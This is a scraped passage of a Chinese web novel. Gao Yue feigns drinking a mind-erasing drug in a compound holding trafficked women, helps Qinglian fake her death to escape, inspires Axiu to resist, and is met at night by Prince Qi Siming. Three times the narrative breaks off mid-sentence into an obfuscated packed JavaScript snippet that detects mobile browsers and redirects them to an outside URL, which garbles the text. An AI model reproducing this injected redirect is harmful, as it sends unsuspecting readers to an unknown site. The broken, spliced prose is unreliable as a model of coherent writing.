她眼神惊恐地盯着院子角落里那棵歪脖子树,哆哆嗦嗦地说道。 “有……有鬼啊!” 许是亏心事做多了,那个正在灌药的婆子手上一顿,下意识地朝她手指的方向看去。 就是现在! 高玥身子一歪,脚下一个踉跄,整个人直直地向着那端药的婆子撞去。 那婆子本就心神不宁,哪里经得住这突如其来的一撞,只觉得一股大力袭来,她重心不稳,手里的药碗直直飞了出去。 “哐当” 一声清脆的碎裂声划破了院内的死寂。 黑褐色的药汁泼洒了一地,刺鼻的涩味瞬间弥漫开来。 高玥自己也顺势摔倒在地,她顾不得手肘磕在青石板上传来的剧痛,只是狼狈地趴在地上,身体控制不住地发抖,嘴里还煞有介事地念叨着:“别……别过来……真的有东西……” 她一边哆嗦,一边用眼角的余光去瞥那嬷嬷的反应。 果然,那嬷嬷的脸像是开了染坊一样,精彩地像是要去变脸。 她转过头,阴沉沉地盯着高玥,像是看一块茅坑里又臭又硬的石头。 “我刚说要守规矩守规矩,现在倒好。” 她深深地吸了一口气,冷笑道。 “疯了?” “看来,寻常的法子,是磨不动你这块顽石了。” 她挥了挥手,“先别管手里这个了。把这个叫青禾的带下去!” “然她不惜福,就让她去清心居好好清醒清醒,什么时候懂得规矩两个字怎么写,什么时候再出来!” 两个婆子上前,再次架住高玥。 高玥没有反抗,只是在被拖走的时候,回头看了一眼青莲。 青莲的眼中闪过一丝复杂的光芒,有惊恐,也有别的什么。 这一刻,高玥的世界观在崩塌,也在重塑。 没有一个有血有肉的人看到这一切会不被触动。 她第一次真切地意识到,在这个扭曲的世界里,最恐怖的,从来不是明晃晃的刀剑,而是这种对人心的腐蚀与扭曲。 在系统的世界里,这一切仿佛都是理所当然的。 水灾,疫情,甚至是现在,一切都可以为任务让路。 如若不是那阴差阳错地救下青莲,她或许还是傻傻地充当一个玩家的角色。 如果说以前,她所做的一切,都只是为了完成系统任务,带着一种置身事外的玩家心态。 那么现在,她只想保护好身边的人。 这片土壤已经从根上烂掉了,既然如此,那她就亲自动手,去捉虫。 …… 清新居的名字很好听,实际上却是一间阴冷潮湿的库房。 高玥被粗暴地推了进去,身后的门“砰”的一声被锁上。 空气中弥漫着一股霉味和药材混合的怪异气味,四壁空空,只有角落里堆着一些废弃的杂物。 他们没有打她,也没有骂她,只是将她关在这里,不给饭,不给水。 这就是她们的做法。 打骂或许可以让人一时的屈服,可是精神上的无力反抗,才是真正的屈服。 他们要用这种最原始的方式,让她主动乞求那碗净心汤。 时间一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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为什么张婆子会有那种迷惑人心的粉末,为什么红袖阁那种风月之地也会有这种粉末。 想必那粉末的原料,与这净心汤如出一辙。 少女失踪……人口拐卖……红袖阁…… 之前一直萦绕不去的疑惑,如今一点一点地清晰起来。 用药材制作净心汤,将拐骗或买来的女子彻底控制,抹去她们的神智和记忆。 用名贵的珠宝绸缎将这些被洗脑的成品精心包装。 最后,将这些活生生的成品伪装成普通货物,输送到全国各地的官员和富商手中,以此编织成一张用美色、金钱和情报构成的巨大黑色网络。 高玥的手指抚过那些模糊的州府地方官的名字,心中掀起滔天巨浪。 这背后,绝不是简单的账本。 金钱所带来的只是一时,而将那些官员身边都安插上自己的人才是他们真正的目的。 而李显,那个在人前扮演着蠢笨好色纨绔子弟的男人,很可能就是这张大网的核心人物! 她手中的这些零散单据,看似不起眼,却是这个黑色帝国中最重要的关键证据! 高玥将这些单据小心翼翼地藏进怀里,贴身放好。 寒冷和饥饿似乎都不再那么难以忍受。 她找到了李显真正的命脉,找到了扳倒这一切的第一个突破口。 而现在,她要做的,就是活着从这里出去。 她在心里默默算了算日子,唇边泛起一抹苦笑。 原来,竟是中秋了。 本该是万家灯火,阖家团圆的日子,她却孤身一人,身陷囹圄,与这满室的阴冷为伴。 在这个陌生的时空,她没有家,也没有可以团圆的亲人。 不知为何,那个男人的脸又一次毫无预兆地闯入脑海。 他温润的笑,狠厉的眼,还有那份藏在层层伪装下的,不易察觉的脆弱。 齐思铭…… 高玥将身体蜷缩得更紧了些,仿佛这样能汲取到一丝暖意。 你是我在这个世界的唯一变数,也是我唯一的任务。 我……该再相信你一次吗? 40. 星星之火可以燎原 齐思铭回到王府时,天色已近子时。 他没有点灯,任由自己没入一片黑暗,窗外冷白色的月光透过窗棂,洒在他的身上。 那封信此刻就在他的袖中,信上的字迹娟秀,内容却堪称胆大包天。 她竟敢命令他。 齐思铭的脸上看不出喜怒,唯有那双深不见底的眸子泛着一丝寒光。 她让他协助她,探查李府的秘密,尤其是提到了一个叫“银梳坊”的地方。 她说,他能得到的,将不仅仅是账本,而是一个足以拿捏李显,甚至钳制皇后的把柄。 好大的口气。 他将那封信从袖中取出,缓缓摩挲着上面的文字,脑海中却不受控制地浮现出那个女人巧笑倩兮的模样。 她总是那样,用最无辜的姿态,说着最理智冷静的话,做着最出人意料的事。 他的指尖在信纸上轻轻划过,最终停在了末尾那三个字上。 相信我。 齐思铭的眸子沉了沉。 这世上,最可笑,也最廉价的,便是这三个字。 可不知为何,当这三个字从她的指尖写出,带着那股与生俱来又理直气壮的笃定时,他那颗心竟像是被狠狠地戳了一下。 “你的手段还真是花样百出。”他低声说道。活了这么多年,还是头一回有人这么对他说话。 心头莫名升起一股烦躁,这股情绪来得突然,让他很不适应。 他习惯了掌控一切,包括自己的心绪。 “王友。”他开口。 王友迅速回应,“王爷。” “本王让你查的事情,如何了?” “回王爷,属下查到,那李显,明面上是为皇后做事。”王友顿了顿,“实际上,他与献国公私下里同样往来密切。” 齐思铭的眼睛眯起。 “一条狗,还想侍二主?” “王爷,要不要将账本直接交给皇后。”王友说道,“如果皇后知道,自己手下的人,竟然暗中与别人勾结,她定不会放过李显。这是我们的机会。” 齐思铭缓缓摇了摇头,语气平淡,“不急。” “明日你找个机会,把这账本送到殿前。”他顿了顿,“想必这账本,也够皇后喝一壶了。” 王友:“想必皇后这几日要无法安寝了。” 齐思铭看向窗外的夜色,眼中闪过一丝狠厉,他幽幽说道,“不过区区账本,可喂不了本王的胃口。本王要的,是更多。” 王友犹豫了一下,继续说道:“那贵妃那边……” 良久,齐思铭发出一声冷哼,“不知死活的女人。” 他走到窗前,推开窗户。 那股自官道上带回的寒意,似乎又加深了几分。 王友大气不敢出,他能感觉到,王爷此刻的心情极差,似乎还混杂着一股怒意与焦躁。 “王爷,属下有罪。当初在李府,属下就不该着了她的道,若是那时将她强行带回,也不会让她今日这般……饶了王爷的心绪。” 齐思铭转过身,月光洒在他的脸上,神情莫测。 “这不怪你。”他看向远处,低声呢喃,更像是在说给自己听,“她的手段,向来如此,防不胜防。” 这世上能在他面前全身而退的人不多,能让他都感到棘手的,更是只有她一个。 王友沉默。 “去。”齐思铭转过身,月光下,他的侧脸俊美依旧,眼神却冷得骇人,“从今日起,通源钱庄每一笔银子的来路,去向,我都要一清二楚。” “还有,”他补充道,“派人盯紧银梳坊,里面有任何动静,立刻报我。” 王友心中了然,立刻应声,“是,王爷。” 他跟在王爷身边多年,王爷的心思他自认能猜透七八分。 可今天,他有些看不懂了。 嘴说人家不知死活,可转头下达的命令,却桩桩件件,都是在为那位玥贵妃的计划铺路。 查通源钱庄的账目,是帮她找李显的命脉。 盯紧银梳坊,是怕她的计划有任何差池,好在暗中策应。 这哪里是要看她的下场,这分明是生怕她行差踏错,亲自在后面为她保驾护航。 王友暗自叹了口气。 这盘棋,似乎从玥贵妃入局的那一刻起,就已经偏离了王爷最初的预想。 书房内重归死寂。 齐思铭双手负于窗前,看向李府的方向,眼底墨色翻涌。 李显…… 皇后视你为走狗,献国公视你为棋子。 一条左右逢源的狗,最容易被主人舍弃。 也最容易,被新的主人,套上更合适的项圈。 …… 清心居内,高玥已经被生生饿了两天两夜。 第三天早上,清心居的门终于打开。 刺眼的阳光让她下意识地眯起了双眼。 一个婆子走了进来,见她还蜷缩在墙角,不耐烦地说道,“这死丫头,还挺能熬。嬷嬷说了,给你最后一次机会。” “是想通了出去好好学规矩,还是想在这里活活饿死,自己选。” 高玥费力地抬起头,脸色苍白得没有一丝血色。 她扶着墙,想要努力地挣扎站起来,“婆婆,我想通了,我想活命。” 听到这话,婆子脸上露出了得意的笑容。 “早知如此,何必当初。”嬷嬷不屑地说道,“想活命,可以。先把这碗净心汤喝了。” 一碗汤药被送到高玥面前。 高玥死死盯着那碗汤药。 这哪里是药,这分明是一碗能将她变成一具傀儡的毒药。 “婆婆……这是什么?” “当然是好东西。”婆子用一种哄小孩的语气说道,“是嬷嬷赏你的福气。喝了它,你心里那些不该有的念头就都忘了,以后安安分分的,才有福气。” 高玥的呼吸停了一瞬。 忘了任务,忘了自己是谁,也忘了齐思铭,然后变成一个任人摆布的傀儡,在这银梳坊里过完一生? 她从内心里拒绝,可抬起头却看见那个婆子审视的目光。 “怎么,你不想喝?” 高玥握紧了拳头,挤出了一个比哭还难看的笑容,“婆婆说的是。” 她深吸一口气,如今活下去,比什么都重要,留得青山在,不怕没柴烧。 “是我想岔了,能活下去,比什么都重要。” 她不再犹豫,仰起头,将那碗散发着甜腥味的汤药一饮而尽。 药力似乎发作得极快。 高玥将那只碗倒转,确认里面空无一滴,才将其递还给婆子。 看着那双曾闪烁着狡黠与倔强的眸子,此刻像是被蒙上了一层厚厚的灰尘,空洞,呆滞,找不到一丝焦点。 婆子满意地点了点头,又不放心地凑上前,用手在高玥眼前扑棱了几下,确认了这药效已经彻底发作,这才让人将她带了出去。 在被拖出清心居的那一瞬间,她看似无力垂下的指尖微微一动,一块早已被汤药浸透的破布,无声无息地从她袖间滑落,没有引起一丝一毫的注意。 押着她的婆子并未察觉,只当她是浑身无力,手上不稳。 她深深地看了一眼那个囚禁了她两天两夜的地方,眼中闪过一丝莫名的情绪。 “看什么看!还不快走!”身旁的婆子不耐烦地推了她一把。 高玥一个不稳,顺势收回了目光,再次变成了那个温顺的人偶,被拖向了未知的深渊。 她又被带回了那个充满了诡异气息的院子。 院中的女子们依旧在机械地重复着梳头,刺绣的动作,对她的出现熟视无睹。 嬷嬷的眼皮都未抬一下,淡淡说道,“想通了?” 高玥虚弱地点了点头,“谢嬷嬷教诲。” 嬷嬷满意地瞥了她一眼,递给她一把扫帚,“算你识相。去,把院子里的地扫了,什么时候扫干净了,什么时候有饭吃。” 高玥得令,开始沉默地打扫庭院。 她的动作很慢,每一下都有气无力,仿佛风一吹,就会倒下。 可她的目光,却在不动声色地观察。 很快,她看到了那个熟悉的身影。 青莲。 她比三天前更加憔,身着和其她女子一样的素色长裙,正在费力劈柴。 高玥慢慢地将落叶扫向柴房的方向,趁着旁人不注意,向她靠近。 青莲似乎察觉到了什么,抬起头,警惕地看了她一眼。 高玥没有说话,只是用身体挡住其他人的视线,飞快地从怀里掏出一个东西,丢到柴堆里。 那是一个冷硬的窝头。 是她刚刚在经过厨房时,趁着押她的婆子去解手,偷来的。 青莲看了一眼窝头,又看了一眼高玥,眼神里充满了震惊和不解。 高玥对她比了一个“嘘”的口型,便若无其事地扫着地走开了。 接下来的几天,高玥都表现得极其顺从。 扫地,洗衣,劈柴,无论嬷嬷吩咐什么,她都毫无怨言地照做。 嬷嬷对她的变化很满意,对她的看管也渐渐松懈下来。 这也让她有了更多接近青莲的机会。 她会偷偷藏起一点食物,或者在打水的时候,多留一瓢清水,趁着夜色送到柴房。 两人从头到尾没有一句交流,全靠眼神和简单的手势。 高玥赌的,是人心。 净心汤的可怕之处,在于它能将一个活生生的人,变成一具没有情感的人偶,就像院子里那些麻木梳头的女人。 梳的不是头发,而是规矩。 可青莲不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478906|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样。 当她第一次将窝头丢进柴堆时,其实是想测试青莲是否已经被洗脑。 可她眼中的震惊和感激,是那般真实。 而后的每一次,她都默默收下了那份微不足道的善意,从未向嬷嬷告发过一个字。 这无声的包庇,便是在这片死气沉沉的绝望中,透出的唯一一丝微光。 那碗能抹杀意志的药汤,终究没能彻底泯灭人性最深处的柔软。 只要这火种还在,就还有被重新点燃的希望。 这天夜里,高玥再次来到柴房。 青莲正靠在柴堆上,小口地啃着高玥白天给她的半块饼。 “想死,还是想活?”这一次,高玥没有多余的废话。 青莲的动作停住了,她抬起头,一双漂亮的眼睛紧紧地盯着高玥。 “我记得,在那个小院里,你曾经对我说过,你不想一辈子被你那个继母控制,你说你向往外面的自由。” 高玥顿了顿,语气中染上了一丝浓重的悲伤和自责,“对不起……如果不是因为我,如今你的人生,该有多么美好……” 青莲没有回答,但她握着饼的手,却在微微发抖。 公子…… 是了,是那双眼睛,无论换了怎样的容貌,怎样的身份,那双眼睛里的光,她认得。 她想说话,想问为什么,可喉咙却像是被堵住一般,发不出一丝声音。 她眼中的光亮了又灭,灭了又亮,最终化作一片死寂。 只有一滴泪,不受控制地从她眼角滑落,划过她惨白的脸颊。 高玥心痛得无以复加,她轻轻握住青莲的手,“我一直都知道是你。” 她低声承诺,“青莲,我什么都知道。我会带你出去,一定。” 她不再迟疑,从袖中摸出一张纸条,塞到青莲手中。 “明日午时,她们会再次给你灌净心汤。这上面写着一种法子,可以让你在喝下汤药后,呈现出假死的症状。这样她们会以为你死了,把你拖到后山的乱葬岗。” 青莲的手开始不受控制地颤抖,她不可思议的看着高玥,拼命地摇头。 “这是你唯一出去的机会。”高玥眼神坚定。 “留在这里,等待你的只有无尽的汤药。你甘心吗?甘心变成院子里那些活死人吗?” 青莲的眼神黯淡了下去。 看着她眼底挣扎,高玥缓缓松开了她的手,脸上浮现出一个极浅的微笑。 “青莲,对不起。希望以后的你,每一天都活得精彩。” 说完,她不再停留,转身离开。 柴房里,只剩下青莲一人。 她低头看着掌心的纸条,那几乎没有重量的纸,此刻却像是承载了她全部的未来,她用尽全身力气,将纸条死死攥紧。 …… 第二天,嬷嬷果然又让人把青莲绑了起来。 “这丫头还是不肯学好,看来这净心汤的药效还不够。”说着,便命人给青莲灌药。 高玥站在院子角落,看着远处发生的这一幕,心却提到了嗓子眼。 那碗汤药被粗暴地灌进了青莲的嘴里。 青莲挣扎了几下,很快便没了动静。 灌药的婆子见状,一把抓住青莲的头发,骂骂咧咧地说道:“死丫头,还敢装死!” 可青莲却毫无反应。 婆子心里咯噔一下,迟疑着伸出手,探到青莲的鼻下。 只那一瞬间,她的脸色唰的一下变得惨白,看向嬷嬷,哆哆嗦嗦地说道,“嬷……嬷嬷!死……死人了!她……她没气儿了!” 嬷嬷皱了皱眉,走上前亲自检查了一番,发现青莲确实已经身体冰冷,气息全无。 “晦气!”她嫌恶地啐了一口,“拖到后山去,随便找个坑埋了,别脏了我的地方。” 高玥低着头,继续扫地,没有人看到的是,她的唇边,勾起了一抹极淡的笑容。 青莲,你果然没有让我失望。 而她不知道的是,就在青莲被拖出院子的那一刻,那个一直面无表情刺绣的女孩,手里的针扎在了她的手指,鲜血直流。 她的眼中,第一次出现了一丝动摇的裂痕。 而高玥的计划,才刚刚开始。 她要利用青莲的死,彻底搅乱银梳坊这潭死水。 而她要做的,就是要将这把屠刀,调转方向,对准握刀的人。 恐惧,是比净心汤更有用的药。 高玥要让这里的每一个人,都将嬷嬷视为索命的阎王,将那碗汤药视为穿肠的毒药。 她要让嬷嬷引以为傲的掌控力,在无形的恐慌中分崩离析。 当第一个人开始反抗,就会有第二个,第三个。 星星之火,可以燎原。 而她,要做的,就是那个亲手点燃引线的人。 41. 星火疯燃情根长 青莲被拖走的那日,院子中如死一般的寂静。 剩下的姑娘们眼中满是恐惧,可却连大气都不敢出一声,甚至不敢去多看一眼青莲被拖走的方向。 平静的表面下,是暗潮汹涌。 在不起眼的角落,一个名叫阿秀的姑娘,依旧保持着绣花的姿势,仿佛周遭的一切都与她五官。 可就在青莲被拖走的那一刻,她执针的手几不可察地一顿,针尖狠狠刺入。 鲜红的血珠缓缓渗出,顺着她的指尖滴下,可阿秀却浑然不觉,只是看着青莲消失的方向,一动不动。 就在刚才,一个活生生的人,死了。 就在她眼前。 第二天午时,婆子们照例端着净心汤,挨个纷发。 轮到阿秀时,她没有伸手去接。 “喝啊,还杵着干什么!”一个婆子厉声催促。 阿秀抬起头,看向那个朝她呵斥的婆子,定定地说道,“我不喝。这汤喝了会死人。” 此话一出,周围的人倒吸了一口凉气,纷纷低下了头。 嬷嬷闻声走来,觉得有些好笑,难以置信地问,“你在说什么?” “我说,我不喝。” 阿秀重复了一遍。 “我看到那个女孩,喝了这个东西就死了。下一个,是不是就轮到我们?” 角落里,高玥握着扫帚的手有些发抖,心跳的飞快。 她早预料到青莲的死是搅动银梳坊这摊死水的关键。 可当她真正看到那个叫阿秀站出来的时候,她的内心还是产生了一种发自肺腑的触动。 在这样一个连活着都身不由己的世道,总有人,即便知道后果,也愿意为了那一点点不被泯灭的良知而勇敢站出来。 青莲如此,阿秀亦是如是。 高玥打从心底佩服这个女孩。 阿秀,谢谢你。 高玥在心中默念。 谢谢你让我看到,即使在最黑暗的沼泽里,也会有最热烈的花,向阳而生。 “我看你是反了!”嬷嬷怒极反笑,“看来是这几日过得太舒坦,让你们忘了规矩!” 她对身边的婆子使了个眼色,婆子立刻端着净心汤上前。 “给我按住她,灌下去!” “我不喝!”阿秀拼命挣扎,将那碗汤药打翻在地,黑色的药汁撒了一地。 “敬酒不吃吃罚酒!”嬷嬷的脸彻底阴了下来,“拖进柴房,给我打!打到她肯喝为止!” 凄厉的惨叫声很快从柴房传来,一声接着一声,喊在院中女子的心上。她们眼中刚刚燃起的一点火花,迅速被这惨叫浇灭。 高玥低着头,安静地扫着地上的落叶,仿佛外界的一切都与她无关。 一个姓吴的婆子端着汤药走到她面前,语气缓和了些许,“还是你最省心,喏,喝吧。” 高玥顺从地接过,一饮而尽,将空碗递还的时候,眼神依旧是那副呆滞的模样。 吴婆子满意地点点头,指着柴房的方向说道,“看见没,这就是下场,你是知道那柴房的苦的,可别学她犯傻。” 高玥木然地点头,扫帚划过地面,沙沙作响。 她扫到吴婆子脚边,动作慢了下来,装作有些担心地问道,“吴婆婆,嬷嬷会打死她吗?” 吴婆子一愣,没想到面前这傻子还会问问题。 她撇了撇嘴,嘴上轻蔑地说道,“打死又如何。不听话的,留着也是祸害。” 高玥握着扫帚的手收紧,呆呆地看着吴婆子,“可是,如果死了人,上头会怪罪的吧?吴婆婆,你会不会有事?” 这句没头没脑的关心,让吴婆子下意识地看了一眼柴房。 “天塌了有嬷嬷顶着,关我什么事。” 高玥的声音低了下来,“嬷嬷再怎么说,也年纪大了,万一上头觉得她管不住这里,那吴婆婆您岂不是……” 她的话没有说完,但吴婆子却听懂了。 这院子里接二连三地出事,先是跑了一个,现在又死了一个,还有现在的那个被打得半死不活。 若真追究下来,嬷嬷这个管事的肯定难辞其咎。 自己若是能…… 吴婆子瞅了一眼面前这个性格温顺,甚至还懂得关系自己的傻子,心中有了计较。 “你倒是比那些人机灵。” 高玥傻呵呵地笑了一声,“嘿嘿,在这里,还指望着婆婆您罩着我呢,嘿嘿。” 吴婆子拍了拍高玥的肩膀,“放心,有婆婆在,不会让你有事的。好好干活。” 说完,她挺直了腰板,走向柴房。 阿秀的惨叫声已经微弱下去。 高玥垂下长长地睫毛,唇角一丝难以察觉的弧度。 火苗已起,如今,只差一阵东风。 接下来几天,银梳坊的气氛压抑到了极点。 阿秀被打得半死,关在柴房里,每日甚至连口水都不给。 嬷嬷放出了狠话,就是要活活耗死她,杀鸡儆猴。 这天夜里,高玥悄无声息地避开夜巡的婆子,溜进了后院一处偏僻的角落。 这几日,她借着洒扫的便利,早已将银梳坊的地形摸得一清二楚。 她记得吴婆子有风湿的毛病,经常会去后院的一处地方挖些草药泡脚。 那个地方,定然大有乾坤。 果不其然,在那处废弃的角落,她摸到了一处略有松动的石板。 掀开石板,一股混杂着泥土味道的草药气味扑面而来,里面竟堆满了各种草药,其中不乏活血化瘀的药品。 一旦有了这些草药,想要解净心汤的毒便不在话下。 如今系统积分早已消耗完,她只能借助着当初在河北兑换的那个初级医学知识飞快辨认着那些草药。 净心汤的毒性霸道,意在摧毁人的心智。 要解此毒,只能以毒攻毒。需先得用几味药性猛烈的草药将体内的毒素运出,再强行进行催吐。 她没有药杵,便寻了块干净的石头,将那几味药在石板上细细研磨,再用自己偷偷收集的清水进行调和,最后装在水囊中。 做完这一切,她偷偷溜到柴房外,从怀中掏出一根被她磨得极细的簪子,小心翼翼地拨弄着门栓。 “咔哒”一声轻响,高玥轻轻推开房门,柴房中正躺者已经极其虚弱的阿秀。 高玥连忙上前,轻唤了一声“阿秀”。 阿秀睁开双眼,看到眼前的来人,不禁吓了一跳,“你是谁?!” “你叫我阿玥就好,我是和你一样的人。”高玥没时间与她做过多的解释,将那水囊递至阿秀面前,“想活命,就喝了它。” “这又是什么新的把戏?”阿秀虚弱一笑,语气却并未软半分,“想要害我倒也不必这么大费周章。” 她好像隐约记得面前的这个人,与吴婆子走的很近。说不定就是吴婆子派来的,想要给她一个了断。 高玥说道,“害你?你现在有什么值得别人可害的?” “你很快就要死了,不是渴死,就是被饿死,只有喝了这碗解药,才能有一线生机!” 柴房中陷入了沉默。 阿秀能感受到自己生命的流逝,她如今嘴唇干裂,浑身上下无一处不在发出疼痛的警告。 高玥的这番话,无异于是在在她内心深处开了一枪。 求生的渴望让她不再犹豫,她颤颤巍巍地接过那个水囊。 药汁苦涩辛辣,她几乎是闭着眼才硬生生地将那药灌了下去。 高玥从怀里掏出半块馒头,这是她白天在吴婆子眼皮底下偷偷藏下来的,她递给阿秀。 “给,先吃点东西垫着,一会药效发作,会很难受。” 看到那块馒头,阿秀愣住了。她已经很久没有看到正儿八经的食物了。 “你……”阿秀震惊得说不出话。 高玥像是看出了阿秀的心思,淡淡说道,“我帮你,也是在帮我自己。” “你反抗嬷嬷,让所有人都看到了。你若是就这么死了,她们心中刚燃起的那点火,也就灭了。只要你活着,就是希望。” 她轻轻拉过阿秀,小心翼翼地帮她检查身上的伤口。 阿秀没有拒绝,顺从地任她拉起胳膊。 阿秀胳膊上的伤口触目惊心,有的地方甚至已经开始结痂,这些人,真的不留一点情面,下手竟如此严重! 高玥摸过伤口的手有些颤抖,她小心翼翼地将之前磨碎的草药敷在伤口上,再用布条一圈一圈地仔细包扎。 清水触碰到伤口,带来一阵刺痛,但随之而来的,是一种被温柔以待的感觉。 阿秀的身体有一瞬间僵硬,眼眶不受控制地发热。 自从被卖进这里,她遭受的只有打骂和折磨,何曾有人这样小心翼翼地对待过她? 她紧紧地盯着高玥,有些迟疑地问道,“你这么帮我,是不是有什么目的。” 说完,她没有等高玥回答,又惨然一笑,“不过你也看到了,我现在这个样子,也没有办法帮你做什么。” 高玥包扎伤口的手一顿,她抬头看向阿秀。 “对,我是有目的。”高玥坦然承认。 阿秀刚刚燃起的火焰,灭了下来。 高玥坚定地开口,“我的目的,就是活下去。和你一样,堂堂正正地从这里走出去。” 她看着阿秀有些错愕的神情,继续说道,“我如今也是和你一样,是被困在这世道的人。我深知女子不易,生来就被各种规矩束缚,被旁人的眼光审判,行差踏错一步,便可能坠入万丈深渊。” 高玥将手上的结打好,轻轻拍了拍阿秀的手。 “或许我救不了天下的女子,但是我只是想尽我所能,保护好我身边的每一个人。你,还有院子里的其他人。” 阿秀的眼眶有些湿润,活了十六年,这还是第一次有人对她说这样的话。 “从未有人这么对我说过……”阿秀的声音有些哽咽。“我自从生下来,我阿爹阿娘便告诉我,女子来到这个世上,便是要守规矩,要温顺,要贤良。只有守规矩,将来夫家的人才会喜欢自己,才会过上好日子。” “可我不想过那样的日子!我不明白,为什么我的人生,要由别人来喜欢?” “你说,我是不是做错了……否则他们为什么要把我扔在这个地方……” 高玥愈发觉得眼前的女子不一般,她握紧阿秀的手,轻声说道,“你没错。” “阿秀,你听着,人活在这个世界上,首先便是要爱自己,为自己而活。” “你看那些男子,他们何曾会为了博取女子的欢心,就去改变自己的志向?何曾会因为女子的眼光,就怀疑自己的所作所为?自古以来,他们把建功立业,快意人生当作理所当然。” “反倒是我们,日日担惊受怕,对着镜子,想着眉毛画得够不够好,腰身够不够细,言行举止够不够温婉,生怕有一点没做好,便会受到男子的轻视。可是,凭什么?我们的标准,为何要由男子来评定?” 高玥的话每一个字都在冲击着阿秀的内心。 “这世上有千千万万种花,牡丹也好,野菊也罢,都会开出千千万万种样子。我们女子,也是一样的。我们可以是任何样子,哪怕是愚笨的,那都是我们自己。” 阿秀呆住了,她从未想过这些。 她只知道反抗,却不知道为何反抗。 高玥的话,为她心中那股蛮横指明了方向。 就在这时,阿秀的胃中突然一阵翻江倒海,她猛地捂住嘴,胃里的一切都在向上翻涌。 “快!吐出来!”高玥急切地催促,“把那些东西都吐出来!” 阿秀再也忍不住,趴在地上剧烈地呕吐起来。她瘫在地上,大口大口地喘着粗气。 虽然已经虚弱到了极点,但是她的脑中却越发的清晰。 “阿玥,”她紧紧抓住高玥的手,“如果我能出去,我要将你这番话,说予我那些姐妹们听!让她们都明白,我们不是任人宰割的羔羊,我们不该走这条顺从到死的路!” 高玥反握住阿秀的手,“这世间女子本就生了一颗七窍玲珑心,只是暂时被蒙了尘。只要我们团结起来,拧成一股绳,这小小的银梳坊,又怎么可能困得住我们!” …… 王府书房,齐思铭正坐在案前,他面前摊着的,正是献国公给他的账本。 不管是地方官吏的卖官鬻爵,还是赈灾款的抽走油水,每一笔账款,都做的天衣无缝,直指皇后。 这本该是件喜事。 可齐思铭的脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不必了。”齐思铭打断王友。 王友一愣:“那就不管贵妃了?” 齐思铭翻了个白眼:“你哪门子听出我说不管了?” 王友:…… 齐思铭极不自然地咳嗽了一声。 “本王可不是去救她,只是觉得若是她死了,本王之前的那些心血岂不是白费了?”他顿了顿,又补充道,“毕竟,她现在对于扳倒皇后还有点用处。” 王友跟在他身后,嘴角忍不住抽了抽。 紧接着就听到齐思铭略带不耐烦的声音传来。 “还不去备马?磨磨蹭蹭的做什么?若真出了什么事,本王唯你是问!” …… 子时,银梳坊后院。 高玥借口肚子疼,从吴婆子那里讨了一碗热水,然后一瘸一拐地回到自己的房间。 就在门关上的那一刻,她飞快冲到角落,将早已准备好的催吐草药迅速塞进嘴里,就着热水将刚喝下的净心汤吐得一干二净。 胃里一阵翻江倒海,长时间的催吐让她不得不撑着墙壁,大口喘气。 待缓过劲来,她估摸着婆子们都已睡下,这才偷偷溜出房间。 经过这几日的观察,她已经摸头这里的巡夜规律,她熟练地避开几处巡逻的婆子,悄无声息地摸到了后院那扇小门。 按照约定,她极有规律地扣击了几下门板。 “咚咚咚” “咚咚咚” 门后是一片沉寂。 高玥心跳的飞快。 难道他没来? 还是说,他根本就没把她的求救当回事? 她又扣了扣门,依旧没有回应。 那颗因紧张而狂跳的心一点一点沉了下去。 是啊,她凭什么觉得他会来? 他那样一个凉薄狠戾的男人,自己于他而言,不过是一枚还有些用处的棋子。 棋子发出求救,他会做的,应该是权衡利弊,而不是不顾一切地前来。 看来终究是自己想多了,在这吃人的世界里,能信的,从来只有自己。 就在她几乎要放弃离开之时,一声轻不可闻的转动声在黑夜中“吱呀”响起,随即小门被从外面拉开了一道缝。 她的心提到了嗓子眼。 高玥难以置信地抬头。 月光下,齐思铭静静地站在门外。 他换了一身玄色锦衣,整个人没入夜色,可唯有那张脸,依旧俊美得惊心动魄,一双漆黑的眸子,正一瞬不瞬地盯着她。 四目相对,时间仿佛在这一刻被无限拉长。 这些日子的担惊受怕,生死一线,在看到他出现的这一刻,尽数化作了翻涌的委屈和酸涩。 高玥的鼻尖一酸,眼眶瞬间红了。 她张了张嘴,想要说些什么,却发现一个字都说不出来。 齐思铭的目光一寸一寸地从她苍白的脸,到破碎的衣角,最后停在那双写满委屈与倔强的双眸。 他的心口像是被什么东西狠狠撞了一下,陌生的疼痛感迅速蔓延。 那根紧绷到极致的弦,终于应声而断。 高玥再也忍不住,声音带着浓重的鼻音和抑制不住的哭腔,低声问他。 “齐思铭,你怎么才来……” 他没有说话,只是伸出手,一把抓住她的手腕,将她从门里拽了出来。 来不及思考,身体已先于理智做出了反应。 高玥一个踉跄,几乎是跌进了他的怀里。 温暖的檀木香瞬间将她包围,她甚至还来不及反应,耳边传来了一阵剧烈的心跳声。 那心跳又快又急,与他平日里从容不迫的模样截然不同。 原来,他也会心慌意乱。 所有的委屈,恐惧还有不安,都在这个霸道到不讲道理的怀抱里,找到了唯一的归宿。 头顶传来一个低沉沙哑的声音。 高玥怔怔地抬起头,竟发现那双总是藏着无数算计的眼睛,此刻竟布满了血丝,写满了来不及掩饰的后怕。 